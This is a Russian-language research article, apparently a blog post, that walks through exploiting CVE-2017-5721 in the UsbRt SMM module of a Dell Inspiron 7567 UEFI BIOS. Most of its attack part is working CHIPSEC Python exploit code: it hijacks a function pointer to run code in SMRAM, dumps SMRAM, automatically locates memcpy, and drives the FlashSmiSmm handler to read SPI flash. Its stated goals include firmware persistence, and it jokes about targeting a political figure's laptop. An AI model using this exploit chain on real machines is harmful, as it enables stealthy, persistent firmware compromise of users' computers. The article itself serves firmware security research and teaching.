Исследования в области безопасности UEFI BIOS уже не являются чем-то новомодным, но в последнее время чувствуется некоторый дефицит образовательных материалов по этой теме (особенно — на русском языке). В этой статье мы постараемся пройти весь путь от нахождения уязвимости и до полной компрометации UEFI BIOS. От эксплуатации execute примитива до закрепления в прошивке UEFI BIOS.

Автор статьи Закиров Руслан @backtrace.

Предполагается, что читатель уже знаком с основами UEFI BIOS и устройством подсистемы SMM.

Тестовый стенд и подготовка к работе

В качестве подопытного кролика мы взяли ноутбук DELL Inspiron 7567. Причины выбора этого ноутбука следующие: нам известно, что в старой прошивке этого ноутбука есть известная уязвимость CVE-2017-5721, а также он есть у нас в наличии.

Первое, что происходит с ноутбуком при начале исследований - определение местоположения SPI флеш-памяти на материнской плате. Обнаружить этот чип можно визуально после разборки ноутбука. SPI флеш-память практически всегда находится на нижней стороне материнской платы, поэтому полный разбор ноутбука не требуется. Иногда даже достаточно снять крышку для доступа к HDD.

После обнаружения SPI флеш-памяти есть 2 варианта развития событий:

  1. Подключаем любым доступным способом флеш-память к программатору напрямую от ноутбука (строго в выключенном состоянии);

  2. Выпаиваем этот чип, для того чтобы можно было поместить его в кроватку (адаптер), что позволит быстро переподключать флеш-память от ноутбука к программатору и обратно.

Мы в нашей работе используем универсальный программатор ChipProg-481, но, в целом, подойдёт любой SPI программатор. Наличие программатора необходимо, поскольку ошибка при работе с содержимым флешки может привести к тому, что ноутбук станет "кирпичом". В таком случае восстановление его работоспособности будет возможно лишь при помощи перезаписи содержимого SPI флеш-памяти заранее снятым с нее дампом "до экспериментов". Также наличие программатора позволит заливать модифицированные прошивки со специальным "бэкдором" для расширение возможностей анализа.

Наша работа будет производиться над версией прошивки 1.0.5 (link). При отсутствии возможности откатиться до этой версии прошивки вы можете воспользоваться нашим дампом.

Работаем с прошивкой

После снятия дампа с SPI флеш-памяти возникает необходимость открыть этот бинарный файл. Для этой цели существует UEFITool, который позволяет не только просматривать содержимое прошивки UEFI BIOS, но и производить поиск, извлекать, добавлять, заменять и удалять компоненты прошивки. Функции, связанные с пересборкой прошивки доступны только в Old Engine версии. Для остальных задач лучше использовать New Engine (содержит "NE" в названии файла).

Довольно часто нужные кодовые модули EFI можно найти внутри дампа по их названиям (напрмер, UsbRt). Но в некоторых случаях вендоры не сохраняют информацию о названиях модулей в прошивке. В таком случае поиск требуемого модуля следует производить при помощи его GUID, но это сработает только с общеизвестными модулями. Нередко разработчики BIOS добавляют в прошивки проприетарные модули, и при отсутствии информации о названиях модулей приходится придумывать свои собственные.

GUID модулей можно найти в следующих источниках:

  1. В открытой реализации UEFI EDKII

  2. В репозитории (U)EFI Whitelisting Project

  3. В прошивке UEFI BIOS другого ноутбука, в котором названия модулей сохранены

  4. В интегрированных базах различных инструментов и плагинов

Инструменты

При анализе модулей наиболее полезными инструментами являются IDA Pro и Ghidra. Но наличие только этих инструментов будет недостаточно. В этих материалах можно подробно узнать об актуальных инструментах при исследовании UEFI BIOS:

Нам понадобятся следующие инструменты:

  • UEFITool - о нем говорилось выше

  • CHIPSEC - при помощи этого фреймворка мы будем разрабатывать наш PoC

  • RWEverything - очень полезный инструмент, который позволяет взаимодействовать с различными аппаратными ресурсами компьютера, и все это при помощи GUI

  • Плагины для IDA Pro: efiXplorer и/или ida-efitools2

  • Если вы приверженец Ghidra, то вам понадобится плагин efiSeek

  • Для обработки дампа SMRAM нам понадобится скрипт smram_parse

Это не исчерпывающий, но достаточный список инструментов этой тематики. Как можно заметить, все перечисленные инструменты относятся к типу инструментов статического анализа. Как же обстоят дела с инструментами динамического анализа? Можно рассмотреть следующий список актуальных инструментов:

Несмотря на существование подобных инструментов и их активное развитие, в практическом плане при поиске уязвимостей в подсистеме SMM они представляют нулевую ценность, поскольку ориентированы на эмуляцию фаз PEI и DXE.

В таком случае появляется вопрос: как же производить отладку? Отладку можно производить при помощи технологии Intel DCI. Информацию об использовании данной технологии можно получить из следующих материалов:

Проблема этой технологии в том, что работает она далеко не везде. Поэтому отладка зачастую производится методом проб и ошибок.

Ищем уязвимость

UsbRt

Попробуем самостоятельно найти уязвимость в модуле UsbRt. Для начала откроем дамп BIOS в UEFITool, после чего сделаем поиск по тексту "UsbRt", и обнаружим, что это название в прошивке отсутстует (вендор не оставил информацию о названиях модулей) либо называется он по-другому.
Произведя поиск в различных источниках (например, здесь) мы определяем, что модулю UsbRt соответствует GUID 04EAAAA1-29A1-11D7-8838-00500473D4EB. Теперь, при помощи поиска по GUID, мы можем извлечь соответствующую секцию образа PE32. На самом деле UEFITool содержит в себе базу общеизвестных GUID-ов, но надпись "USBRT" пришлось бы искать глазами, поскольку поиск по тексту не включает в себя записи из базы GUID-ов.

Здесь и далее будет использоваться инструмент IDA Pro с указанными выше плагинами, но все необходимые манипуляции доступны и в Ghidra.

После открытия модуля UsbRt в IDA Pro нам необходимо найти обработчик software прерываний. Чаще всего все достаточно просто - после отработки плагина ida-efitools2 функция уже подписана как "DispatchFunction".

Но в данном случае эта функция относится к протоколу EFI_SMM_USB_DISPATCH2_PROTOCOL, который нас не сильно интересует. Нам следует отталкиваться от перекрестных ссылок на EFI_SMM_SW_DISPATCH2_PROTOCOL_GUID, чтобы определить место использования интересующего нас протокола. Так мы сможем понять какая функция регистрируется в качестве обработчика software прерываний.

Я назвал обнаруженный обработчик как "SwDispatchFunction". Также можно заметить, что этому обработчику соответствует SMI прерывание #31h.

Здесь стоит обратить внимание на некий глобальный указатель на структуру "usb_data", на основе которой происходит много операций. Из неё же извлекается структура "request", откуда в свою очередь извлекается некий индекс. Ниже можно заметить, что на основе индекса происходит вызов функции из массива.

.code:0000000080000E80 funcs_1C42 dq offset sub_80001F74       ; DATA XREF: sub_8000191C+259↓o
.code:0000000080000E80                                         ; SwDispatchFunction:loc_80001C35↓o ...
.code:0000000080000E80         dq offset sub_80002028
.code:0000000080000E80         dq offset sub_80002030
.code:0000000080000E80         dq offset sub_8000205C
.code:0000000080000E80         dq offset sub_8000205C
.code:0000000080000E80         dq offset sub_8000205C
.code:0000000080000E80         dq offset sub_80002064
.code:0000000080000E80         dq offset sub_800020B0
.code:0000000080000E80         dq offset sub_80001F38
.code:0000000080000E80         dq offset sub_8000205C
.code:0000000080000E80         dq offset sub_8000205C
.code:0000000080000E80         dq offset sub_8000205C
.code:0000000080000E80         dq offset sub_80002938
.code:0000000080000E80         dq offset sub_80002E58
.code:0000000080000E80         dq offset sub_80003080
.code:0000000080000E80         dq offset sub_800030D8
.code:0000000080000E80         dq offset sub_800029AC
.code:0000000080000E80         dq offset sub_80002B18
.code:0000000080000E80         dq offset sub_80002B20
.code:0000000080000E80         dq offset sub_80002D08
.code:0000000080000E80         dq offset sub_80002D5C
.code:0000000080000E80         dq offset sub_80008888
.code:0000000080000E80         dq offset sub_80002C84
.code:0000000080000E80         dq offset sub_80002EB0

Сделаем вид, что просмотрели все 24 функции, и наибольший интерес у нас вызвала функция с индексом 14 (sub_80003080), которую назовём как "subfunc_14".

Функция, после нескольких арифметических операций, извлекает и передает указатель из структуры usb_data в следующую функцию:

Здесь мы обнаруживаем просто изумительную функцию! Помимо возможности исполнить произвольный адрес эта функция так же позволяет передать вплоть до 7 аргументов! Но главный вопрос - можем ли мы управлять передаваемым указателем?

Приступим к изучению указателя usb_data. Список перекрестных ссылок не оставляет никаких надежд усомниться в местонахождении инициализации данного указателя:

Судя по всему, нам придётся искать модуль, который производит установку протокола EFI_USB_PROTOCOL (сразу после того как убедились, что этот протокол не устанавливается в модуле UsbRt):

На данном этапе, возможно, уместно было бы воспользоваться плагином efiXplorer для поиска нужного модуля, но мы сделаем по старинке. Копируем GUID интересующего нас протокола (ida-efitools2 позволяет это делать при помощи горячей клавиши Ctrl-Alt-G) либо извлекаем соответствующие этому GUID байты. Полученную информацию используем для поиска в прошивке при помощи UEFITool (ставим галочку Header and body).

Сразу можно отсечь модули, у которых вхождения не только в PE32, но и в "MM dependecy section" (секция зависимостей модуля), поскольку модуль не может одновременно предоставлять протокол и зависеть от него.На выбор остаётся Bds, SBDXE, Setup, CsmDxe, UHCD, KbcEmul и некий безымянный модуль. Можно бегло просмотреть все эти модули на предмет установки протокола EFI_USB_PROTOCOL, но что-то мне подсказывает, что первая буква в аббревиатуре UHCD означает Usb, поэтому перейдем сразу к нему.

UHCD

EFI_USB_PROTOCOL действительно устанавливается в этом модуле. Тут же мы видим указатель usb_data. Также важно отметить, что в первое поле структуры EFI_USB_PROTOCOL записывается сигнатура "USBP" ('PBSU' при обратном порядке байтов). Осталось понять, откуда берётся usb_data.

Структура аллоцируется при помощи той же функции, что и в случае с EFI_USB_PROTOCOL. Также устанавливается сигнатура "$UDA" (Usb DAta?). Как же происходит аллокация памяти?

Вот где собака зарыта! Память выделяется при помощи EFI_BOOT_SERVICES, т.е. в фазе DXE. Это значит, что память не размещена внутри SMRAM, поэтому ОС имеет полный доступ к этой памяти, осталось только найти нужные структуры в ней. Тут не помешает отметить, что память выделяется с типом "AllocateMaxAddress", из-за чего с высокой долей вероятности выделенный буфер будет располагаться где-то неподалеку от начала SMRAM.

Прототипируем эксплоит

У нас начинает вырисовываться следующий алгоритм эксплуатации обнаруженной уязвимости:

  1. Ищем в памяти сигнатуру "$UDA" - так мы установим расположение структуры usb_data;

  2. По определенному смещению заменяем указатель в структуре на подконтрольный адрес;

  3. Также обновляем структуру request в usb_data, чтобы вынудить обработчик исполнить subfunc_14;

  4. В той же структуре можно указать буфер с нашими аргументами для вызываемой функции;

  5. Генерируем software прерывание #31h.

Для всех перечисленных действий нам потребуется привилегии ядра (Ring 0). Но писать эксплоит в виде системного драйвера выглядит довольно трудозатратно и долго.
Под эту задачу идеально подходит фреймворк CHIPSEC, который написан на Python, и который имеет все необходимые примитивы по работе с физической памятью, PCI, прерываниями и прочими аппаратными функциями.
CHIPSEC для доступа к аппаратным ресурсам использует собственный самоподписанный системный драйвер. Из-за этого ОС необходимо переключать в тестовый режим. Но CHIPSEC также позволяет использовать драйвер RWEverything, который имеет валидную цифровую подпись. Этот вариант имеет некоторые подводные камни, как, например, ограничение на размер выделяемой физической памяти, который не может превышать 0x10000 байт.

Инициализация и генерирование прерывания через фреймворк CHIPSEC выглядит следующим образом:

import chipsec.chipset
from chipsec.hal.interrupts import Interrupts

SMI_USB_RUNTIME = 0x31

cs = chipsec.chipset.cs()
cs.init(None, None, True, True)

intr = Interrupts(cs)
intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0)

Приступим к поиску usb_data в памяти.

mem_read = cs.helper.read_physical_mem
mem_write = cs.helper.write_physical_mem
mem_alloc = cs.helper.alloc_physical_mem

PAGE_SIZE = 0x1000
SMRAM = cs.cpu.get_SMRAM()[0]

for addr in range(SMRAM // PAGE_SIZE - 1, 0, -1):
    if mem_read(addr * PAGE_SIZE, 4) == b'$UDA':
        usb_data = addr * PAGE_SIZE
        break

Мы пользуемся особенностью памяти, выделенной по типу AllocateMaxAddress, производя поиск от SMRAM в обратном порядке. Также нет смысла сверять каждый байт, поскольку для этого буфера выделялись страницы памяти, поэтому шагаем по 4096 байт.

Теперь подготовим нашу структуру request и обновим соответствующий указатель в usb_data:

struct_addr = mem_alloc(PAGE_SIZE, 0xffffffff)[1]

mem_write(struct_addr, PAGE_SIZE, '\x00' * PAGE_SIZE)  # очистим структуру
mem_write(struct_addr + 0x0, 1, '\x2d')  # здесь указываем номер функции, которую мы хотим вызвать, + 0x19
mem_write(struct_addr + 0xb, 1, '\x10')  # поправка на ветер

# по этому смещению UsbRt берёт указатель на структуру request
mem_write(usb_data + 0x64E0, 8, pack('<Q', struct_addr))

И самое интересное - изменяем указатель по смещению 0x78 (именно такое значение получается после всех вычислений в функции subfunc_14) в структуре usb_data. Модуль UsbRt затем попытается его исполнить в процессе обработки прерывания.

bad_ptr = 0x12345678
func_offset = 0x78
mem_write(usb_data + func_offset, 8, pack('<Q', bad_ptr))

intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0)

По исполнению этого кода можно заметить, что система намертво зависла. Но дело совсем не в том, что по адресу 0x12345678 располагается невесть что, а в том, что произошло аппаратное исключение Machine Check Exception. Наступило оно по причине того, что современные платформы предотвращают исполнение SMM кода вне региона SMRAM (SMM_Code_Chk_En).

Обойти это ограничение относительно легко - достаточно посмотреть адрес функции memcpy в модуле UsbRt (или любом другом) в дампе SMRAM. Но без дампа SMRAM адрес так просто не узнать. И здесь мы переходим ко второй части этой статьи.

Создаем полноценный эксплоит

Главный минус текущего варианта эксплоита в том, что он позволяешь лишь исполнить код по указанному адресу. Для свободы действий необходимо придумать способ развить эксплоит до полноценного read-write-execute примитива.

Мы можем исполнить любой код в SMRAM, но мы не знаем расположение функций внутри SMRAM. Значит, нужно самостоятельно определить базовый адрес какого-либо модуля. И уже относительно этого базового адреса мы сможем получить адрес интересующей нас функции (memcpy, например).

Полезные структуры

Как мы уже могли заметить, часть используемых данных при работе SMM хранится вне SMRAM. Некоторые структуры инициализируются в процессе работы фазы DXE, и по завершению этой фазы остаются висеть мертвым грузом в зарезервированной памяти, лишая ОС возможности воспользоваться ей. В таких структурах иногда можно обнаружить указатели в область SMRAM. При изучении происхождения этих структур можно наткнуться на очень полезные указатели.

Хорошим примером такой структуры является SMM_CORE_PRIVATE_DATA. Даже название уже интригует. Эти "приватные данные" легко находятся по сигнатуре "smmc" в зарезервированных областях памяти. Структура описана в репозитории EDK2:

typedef struct {
  UINTN                           Signature;

  ///
  /// The ImageHandle passed into the entry point of the SMM IPL.  This ImageHandle
  /// is used by the SMM Core to fill in the ParentImageHandle field of the Loaded
  /// Image Protocol for each SMM Driver that is dispatched by the SMM Core.
  ///
  EFI_HANDLE                      SmmIplImageHandle;

  ///
  /// The number of SMRAM ranges passed from the SMM IPL to the SMM Core.  The SMM
  /// Core uses these ranges of SMRAM to initialize the SMM Core memory manager.
  ///
  UINTN                           SmramRangeCount;

  ///
  /// A table of SMRAM ranges passed from the SMM IPL to the SMM Core.  The SMM
  /// Core uses these ranges of SMRAM to initialize the SMM Core memory manager.
  ///
  EFI_SMRAM_DESCRIPTOR            *SmramRanges;

  ///
  /// The SMM Foundation Entry Point.  The SMM Core fills in this field when the
  /// SMM Core is initialized.  The SMM IPL is responsible for registering this entry
  /// point with the SMM Configuration Protocol.  The SMM Configuration Protocol may
  /// not be available at the time the SMM IPL and SMM Core are started, so the SMM IPL
  /// sets up a protocol notification on the SMM Configuration Protocol and registers
  /// the SMM Foundation Entry Point as soon as the SMM Configuration Protocol is
  /// available.
  ///
  EFI_SMM_ENTRY_POINT             SmmEntryPoint;

  ///
  /// Boolean flag set to TRUE while an SMI is being processed by the SMM Core.
  ///
  BOOLEAN                         SmmEntryPointRegistered;

  ///
  /// Boolean flag set to TRUE while an SMI is being processed by the SMM Core.
  ///
  BOOLEAN                         InSmm;

  ///
  /// This field is set by the SMM Core then the SMM Core is initialized.  This field is
  /// used by the SMM Base 2 Protocol and SMM Communication Protocol implementations in
  /// the SMM IPL.
  ///
  EFI_SMM_SYSTEM_TABLE2           *Smst;

  ///
  /// This field is used by the SMM Communication Protocol to pass a buffer into
  /// a software SMI handler and for the software SMI handler to pass a buffer back to
  /// the caller of the SMM Communication Protocol.
  ///
  VOID                            *CommunicationBuffer;

  ///
  /// This field is used by the SMM Communication Protocol to pass the size of a buffer,
  /// in bytes, into a software SMI handler and for the software SMI handler to pass the
  /// size, in bytes, of a buffer back to the caller of the SMM Communication Protocol.
  ///
  UINTN                           BufferSize;

  ///
  /// This field is used by the SMM Communication Protocol to pass the return status from
  /// a software SMI handler back to the caller of the SMM Communication Protocol.
  ///
  EFI_STATUS                      ReturnStatus;

  EFI_PHYSICAL_ADDRESS            PiSmmCoreImageBase;
  UINT64                          PiSmmCoreImageSize;
  EFI_PHYSICAL_ADDRESS            PiSmmCoreEntryPoint;
} SMM_CORE_PRIVATE_DATA;

В нашем случае нам бы очень пригодился указатель PiSmmCoreImageBase, по которому располагается модуль PiSmmCore. К сожалению, наша система старовата, и настоящая структура не совсем соответствует описанию. До некоторого момента последних трёх указателей в этой структуре не существовало, как можно заметить в репозитории. В таком случае мы вынуждены прибегнуть к иному способу.

Иной способ

Мы уже знаем, что в памяти располагаются структуры usb_data и usb_protocol. Вполне возможно, что эти структуры содержат указатели на функции внутри модуля UsbRt.

Если мы вернёмся к месту инициализации указателя usb_data в модуле UsbRt, то можем заметить, что в коде происходит замена некоторых указателей в протоколе EFI_USB_PROTOCOL:

Указателями являются функции модуля UsbRt - как раз то, что нам надо. Сконцентрируемся на указателе по смещению +0x50 (+0xA), поскольку он наиболее близок к базовому адресу (это пока не важно).

Извлечь этот указатель достаточно просто:

for addr in range(SMRAM // PAGE_SIZE - 1, 0, -1):
    if mem_read(addr * PAGE_SIZE, 4) == b'USBP':
        usb_protocol = addr * PAGE_SIZE
        break

funcptr = unpack('<Q', mem_read(usb_protocol + 0x50, 8))[0]

А теперь всё просто: открываем UsbRt в дизассемблере, сопоставляем виртуальный адрес функции с фактическим, находим функцию memcpy, вычисляем разницу между двумя функциями, прибавляем разницу к фактическому адресу полученной функции. Физический адрес функции memcpy получен!

Наш эксплоит теперь можно дополнить. Мы можем, например, сделать полный дамп SMRAM. И возможность передавать аргументы наконец пригодилась:

memcpy = 0x8d5afdb0

src = cs.cpu.get_SMRAM()[0]  # начало SMRAM
cnt = cs.cpu.get_SMRAM()[2]  # размер SMRAM
dst = mem_alloc(cnt, 0xffffffff)[1]

argc = 3
argv = mem_alloc(argc << 3, 0xffffffff)[1]

mem_write(argv, 8, dst)
mem_write(argv + 8, 8, src)
mem_write(argv + 0x10, 8, cnt)

struct_addr = mem_alloc(PAGE_SIZE, 0xffffffff)[1]

mem_write(struct_addr, PAGE_SIZE, '\x00' * PAGE_SIZE)  # очистим структуру
mem_write(struct_addr + 0x0, 1, '\x2d')  # здесь указываем номер функции, которую мы хотим вызвать, + 0x19
mem_write(struct_addr + 0xb, 1, '\x10')  # поправка на ветер
mem_write(struct_addr + 0x3, 8, pack('<Q', argv))  # указатель на аргументы
mem_write(struct_addr + 0xf, 4, pack('<I', argc << 3))  # размер аргументов

mem_write(usb_data + 0x64E0, 8, pack('<Q', struct_addr))
mem_write(usb_data + 0x78, 8, pack('<Q', memcpy))

intr.send_SW_SMI(0, SMI_USB_RUNTIME, 0, 0, 0, 0, 0, 0, 0)

with open('smram_dump.bin', 'wb') as f:
    f.write(mem_read(dst, cnt))

Дамп SMRAM получили. Но на душе все равно как-то гадко. Мы ведь вручную сопоставили адреса функций и посчитали разницу до функции memcpy. Нельзя ли сделать это автоматически?

Автоматизируем вычисления

Давайте представим, что мы эксплуатируем ноутбук какого-нибудь члена Национального комитета Демократической партии США. Нам не до сопоставления функций, нужно сделать все в один клик. Более того, нельзя просто взять и положить рядом извлеченный модуль UsbRt. Версия может же отличаться.

Для извлечения актуальной версии модуля идеально подходит специальный регион физической памяти, в которой расположена отображённая на память (memory mapped) флеш-память. Смапленную флеш-память можно прочитать в самом конце 4 ГБ-ного пространства физической памяти. Начало региона зависит от размера флеш-памяти.

Для нас достаточно знать начало и размер BIOS региона. В этом нам поможет регистр BIOS_BFPREG, который находится в SPIBAR. В нем хранятся значения базового смещения и предела BIOS региона внутри флеш-памяти. Это позволяет нам вычислить размер BIOS региона. Поскольку BIOS регион принято хранить последним, то на основе размера этого региона можно определить физический адрес региона в смапленной флеш-памяти.

base = cs.read_register_field('BFPR', 'PRB') << 12
limit = cs.read_register_field('BFPR', 'PRL') << 12

bios_size = limit - base + 0x1000
bios_addr = 2**32 - bios_size

Благодаря широким возможностям фреймворка CHIPSEC у нас есть возможность в автоматизированном режиме распаковать считанную из памяти часть прошивки и извлечь необходимый модуль.

from uuid import UUID
from chipsec.hal.uefi import UEFI
from chipsec.hal.spi_uefi import build_efi_model, search_efi_tree, EFI_MODULE, EFI_SECTION

SECTION_PE32 = 0
USBRT_GUID = UUID(hex='04EAAAA1-29A1-11D7-8838-00500473D4EB')

uefi = UEFI(cs)
bios_data = mem_read(bios_addr, bios_size)

def callback(self, module: EFI_MODULE):
    # PE32 секция сама по себе не имеет GUID, нужно обращаться к родителю
    guid = module.Guid or cast(EFI_SECTION, module).parentGuid
    return UUID(hex=guid) == USBRT_GUID

tree = build_efi_model(uefi, bios_data, None)
modules = search_efi_tree(tree, callback, SECTION_PE32, False)

usbrt = modules[0].Image[module.HeaderSize:]

Далее пойдёт очень хитрая математика:

  • У нас есть указатель на функцию из UsbRt, который был наиболее близок к базовому адресу модуля (вот теперь это стало важно);

  • Из него можно вычесть смещение входной точки, что приблизит нас к нашей цели;

  • Осталось вычислить разницу между входной точкой и имеющейся функцией;

  • Для начала можно выравнить указатель вверх до 0x1000 байт, все равно базовый адрес тоже будет выравнен;

  • Затем можно вычесть 0x2000 байт. Почему именно это число? Оно было установлено путем обсервации прошивок других версий и других вендоров.

    def align_up(x, a):
      a -= 1
      return ((x + a) & ~a)
    nthdr_off, = unpack_from('=I', usbrt, 0x3c) ep, = unpack_from('=I', usbrt, nthdr_off + 0x28)
    imagebase = funcptr imagebase -= ep  imagebase = align_up(imagebase, 0x1000) imagebase -= 0x2000

Кстати, занимательный факт: в UEFI модулях SectionAlignment равняется FileAlignment (0x20), из-за чего все смещения внутри файла на диске совпадают со смещениями в образе модуля в памяти. Это сделано для экономии места в регионе SMRAM.

Базовый адрес получен. Дело за малым - определить функцию memcpy. В прошивках UEFI используется memcpy, которая реализована в EDK2 (она на самом деле называется CopyMem). Поэтому она должна совпадать у всех вендоров. Так что будет достаточно безопасно реализовать поиск функции по начальным опкодам.


import re

PUSH_RSI_PUSH_RDI = b'\x56\x57'
REP_MOVSQ = b'\xf3\x48\xa5'

# ищем rep movsq
for m in re.finditer(REP_MOVSQ, usbrt):
    rep_off = m.start()
    # теперь в обратном направлении push rsi; push rdi (начало функции)
    entry_off = usbrt.rfind(PUSH_RSI_PUSH_RDI, 0, rep_off)

    # на всякий случай проверяем разницу между найденными опкодами
    if rep_off - entry_off > 0x40:
        # не походит на правду, пропустим от греха подальше
        continue

    memcpy = imagebase + entry_off
    break

Теперь в нашем арсенале полностью автоматизированный эксплоит, позволяющий не только исполнять код внутри SMRAM, но и произвольно читать и писать в любую область физической памяти.

Куда двигаться дальше

Возможность свободно взаимодействовать с памятью SMRAM - это, конечно, здорово. Но без возможности закрепиться в прошивке полноценная атака не получится, поскольку после перезагрузки системы память сбросится, очевидно. Следующим шагом будет поиск возможности модифицировать прошивку, которая хранится в SPI флеш-памяти.

В первую очередь стоит ознакомиться с результатами тестов CHIPSEC, которые покажут наличие защитных функций флеш-памяти:

[*] running module: chipsec.modules.common.bios_wp
[x][ =======================================================================
[x][ Module: BIOS Region Write Protection
[x][ =======================================================================
[*] BC = 0x00000A8A << BIOS Control (b:d.f 00:31.5 + 0xDC)
    [00] BIOSWE           = 0 << BIOS Write Enable
    [01] BLE              = 1 << BIOS Lock Enable
    [02] SRC              = 2 << SPI Read Configuration
    [04] TSS              = 0 << Top Swap Status
    [05] SMM_BWP          = 0 << SMM BIOS Write Protection
    [06] BBS              = 0 << Boot BIOS Strap
    [07] BILD             = 1 << BIOS Interface Lock Down
[!] Enhanced SMM BIOS region write protection has not been enabled (SMM_BWP is not used)

[*] BIOS Region: Base = 0x00700000, Limit = 0x00FFFFFF
SPI Protected Ranges
------------------------------------------------------------
PRx (offset) | Value    | Base     | Limit    | WP? | RP?
------------------------------------------------------------
PR0 (84)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR1 (88)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR2 (8C)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR3 (90)     | 00000000 | 00000000 | 00000000 | 0   | 0
PR4 (94)     | 00000000 | 00000000 | 00000000 | 0   | 0

[!] None of the SPI protected ranges write-protect BIOS region

[!] BIOS should enable all available SMM based write protection mechanisms or configure SPI protected ranges to protect the entire BIOS region
[-] FAILED: BIOS is NOT protected completely

По результатам тестов можно понять, что в системе действует защита BIOSWE=0 + BLE=1. Это означает, что стандартными функциями записи во флеш-память (доступны в CHIPSEC) у нас не получится что-либо изменить в прошивке. Механизм SPI Protected Ranges не сконфигурирован на этой системе. Это значит, что мы могли бы внести изменения при помощи модуля SMM. Однако, есть еще два механизма, которые могут помешать нам это сделать.

CHIPSEC не может проверить наличие этих механизмов, но в нашей системе они существуют. Эти механизмы - Intel BIOS Guard и Intel Boot Guard. Первый механизм не даст нам произвести запись в кодовые регионы BIOS, а второй, при условии, что мы все же смогли переписать BIOS, не позволит модифицированной прошивке загрузиться при запуске системы.
Но мы все же рассмотрим как можно работать с SPI посредством SMM-драйвера.

Возвращаемся к UEFITool и ищем модуль, название которого как-то связано с Flash и SMI. Идеальным кандидатом является модуль FlashSmiSmm. При его детальном изучении в дизассемблере может сложиться впечатление, что он не регистрирует никаких software прерываний, в нем даже EFI_SMM_SW_DISPATCH2_PROTOCOL_GUID не фигурирует! На самом деле этот модуль регистрирует другой тип software прерывания, который называется ACPI SMI. Чтобы определить место регистрации ACPI SMI в IDA Pro можно воспользоваться функцией "List cross references to..." на поле EFI_SMM_SYSTEM_TABLE2.SmiHandlerRegister в окне структур.

Модуль регистрирует один ACPI SMI, предварительно считав UEFI переменную "FlashSmiBuffer", название которой недвусмысленно говорит о том, что в переменной хранится указатель на буфер для работы с флеш-памятью.

Конкретный ACPI SMI идентифицируется своим GUID, который указывается вторым аргументом функции SmiHandlerRegister (HandlerType). В нашем случае это 4052aca8-8d90-4f5a-bfe8-b895b164e482. Он нам далее понадобится. Теперь рассмотрим непосредственно саму функцию обработчика.

FlashSmiBuffer действительно используется для передачи задачи и аргументов. Если переключить отображение констант на символьное представление, то всё становится более менее очевидно:

  • Fe - Flash Erase

  • Fu - Flash Read (тут чисто логически, не понятно при чем тут "u")

  • Fw - Flash Write

  • Wd - Write Disable

  • We - Write Enable

Осталось лишь написать прототип для работы с SPI флеш-памятью, учитывая то, что обработчик реализован в виде ACPI SMI.

HANDLER_GUID = '4052aca8-8d90-4f5a-bfe8-b895b164e482'

flash_addr = 0x200000
size = 0x1000
output = mem_alloc(size, 0xffffffff)[1]

smi_buffer = unpack('<Q', cs.helper.get_EFI_variable('FlashSmiBuffer', HANDLER_GUID))[0]

mem_write(smi_buffer, 4, b'FSMI')  # сигнатура
mem_write(smi_buffer + 0x28, 2, b'uF')  # команда чтения с флеш-памяти
mem_write(smi_buffer + 4, 4, pack('<I', flash_addr))  # адрес флеш-памяти
mem_write(smi_buffer + 0x18, 4, pack('<I', size))  # размер
mem_write(smi_buffer + 0x90, 4, pack('<I', output))  # выходной буфер

intr = Interrupts(cs)
intr.send_ACPI_SMI(0, 1, intr.find_ACPI_SMI_Buffer(), None, HANDLER_GUID, '')

Таким незатейливым способом мы смогли заставить SMM драйвер прочитать для нас часть прошивки.

Заключение

Препарировать UEFI BIOS довольно интересно, хоть и немного однообразно. Когда надоест искать и находить RCE в SMM, можно переключиться на BIOS Guard и Boot Guard, в которых тоже можно найти кучку уязвимостей, а сам процесс поиска доставит кучу удовольствия. А если и это надоест, то самое время переключиться на изучение самого сложного, что можно найти в современных PC - Intel ME.

Комментарии (0)